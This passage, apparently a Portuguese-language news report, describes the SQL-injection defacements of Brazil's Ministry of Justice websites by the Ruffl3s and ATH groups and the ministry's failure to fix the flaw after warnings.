integrante L1L0, do grupo Ruffl3s, alterou o conteúdo da página, assinando seu apelido
e o nome de seu grupo e inserindo a frase “Aprenda bem as regras... assim saberás como
infringi-las
de
forma
correta”.
A
cópia
do
ataque
pode
ser
vista
em
http://www.infoguerra.com.br/defaced/mj.gif.
No domingo, o grupo ATH desfigurou a página principal do site
www2.mj.gov.br, que neste momento está com o acesso bloqueado aos usuários. Este
endereço está hospedado num segundo servidor do MJ e traz páginas como
www2.mj.gov.br/desaparecidos/ dedicada a crianças e adolescentes desaparecidos. O
integrante “N30 Shark” fez uma pichação com as saudações habituais, mas com uma
página HTML elaborada, o que mostra que o ataque foi mais profundo. O site Zone-H
tem uma cópia do defacement.
Apesar do imponente nome do site “Ministério da Justiça”, a invasão dos
crackers foi banal. O MJ é apenas mais uma das vítimas do ataque conhecido como SQL
Injection, que tem feito a festa dos invasores de páginas, desde os mais experientes até
os novatos. Isto porque a falha é ridiculamente fácil de explorar, pode ser feita a partir
de qualquer browser, conta com o auxílio de resultados obtidos em mecanismos de
busca como o Google, que rastreiam páginas obscuras e de login, e não requer prática
nem habilidade.
93
É basicamente um erro de programação feita de modo displicente, pois o bug é
largamente conhecido. Há dois dias, InfoGuerra recebeu um e-mail de “uma nova
empresa de segurança na Internet” pedindo que se entrasse em contato com o MJ para
avisar da vulnerabilidade do painel administrativo da página que posteriormente foi
desfigurada pelo Ruffl3s. "Para arrumar essa vulnerabilidade é preciso colocar no
código ASP que não aceite login com caracteres especiais como aspas duplas (") e aspas
simples (')", orientava a mensagem. O remetente se queixava de que seus e-mails de
alerta para o órgão tinham sido ignorados.
Na quinta-feira foi enviado um email para o setor de comunicação e para o
webmaster do site do MJ, alertando para a falha e solicitando informações sobre o
ataque dos Ruffl3s. A mensagem recebeu a confirmação de que foi entregue, tanto para
um destinatário quanto para o outro, mas nenhuma resposta chegou de volta. A página
desfigurada foi corrigida, mas o erro não, e o site continua vulnerável.

Documentos relacionados